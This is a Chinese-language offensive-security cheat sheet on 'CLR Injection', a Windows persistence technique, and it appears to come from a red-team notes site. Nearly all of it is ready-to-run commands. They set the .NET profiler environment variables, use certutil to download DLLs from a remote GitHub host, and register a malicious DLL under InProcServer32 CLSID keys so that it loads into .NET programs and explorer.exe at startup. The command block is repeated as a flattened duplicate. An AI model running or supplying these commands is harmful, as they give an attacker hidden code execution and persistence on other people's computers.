CLR Injection

劫持调用.net程序，开机启动
https://github.com/3gstudent/CLR-Injection/blob/master/CLR-Injection_x64.bat

WMIC可替换为powershell
New-ItemProperty "HKCU:\Environment\" COR_ENABLE_PROFILING -value "1" -propertyType string | Out-Null
New-ItemProperty "HKCU:\Environment\" COR_PROFILER -value "{11111111-1111-1111-1111-111111111111}" -propertyType string | Out-Null

wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll delete
SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg_x64.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F 
SET KEY=HKEY_CURRENT_USER\Software\Classes\WoW6432Node\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
添加全局变量
计算机\HKEY_CURRENT_USER\Environment
COR_ENABLE_PROFILING=1
COR_PROFILER={11111111-1111-1111-1111-111111111111}
注册CLSID
计算机\HKEY_CURRENT_USER\Software\Classes\CLSID添加项{11111111-1111-1111-1111-111111111111}和它的子项InprocServer32
新建一个键ThreadingModel，键值为：Apartment，默认键值为dll路径
劫持explorer.exe
>SET COR_ENABLE_PROFILING=1
>SET COR_PROFILER={11111111-1111-1111-1111-111111111111}
位置(新建)
HKEY_CURRENT_USER\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32默认值为恶意DLL
新建ThreadingModel值为Apartment

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最后更新于2年前

WMIC可替换为powershell New-ItemProperty "HKCU:\Environment\" COR_ENABLE_PROFILING -value "1" -propertyType string | Out-Null New-ItemProperty "HKCU:\Environment\" COR_PROFILER -value "{11111111-1111-1111-1111-111111111111}" -propertyType string | Out-Null wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1" wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}" certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll delete SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32 REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg_x64.dll" /F REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F SET KEY=HKEY_CURRENT_USER\Software\Classes\WoW6432Node\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32 REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg.dll" /F REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F 添加全局变量计算机\HKEY_CURRENT_USER\Environment COR_ENABLE_PROFILING=1 COR_PROFILER={11111111-1111-1111-1111-111111111111} 注册CLSID 计算机\HKEY_CURRENT_USER\Software\Classes\CLSID添加项{11111111-1111-1111-1111-111111111111}和它的子项InprocServer32 新建一个键ThreadingModel，键值为：Apartment，默认键值为dll路径劫持explorer.exe >SET COR_ENABLE_PROFILING=1 >SET COR_PROFILER={11111111-1111-1111-1111-111111111111} 位置(新建) HKEY_CURRENT_USER\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32默认值为恶意DLL 新建ThreadingModel值为Apartment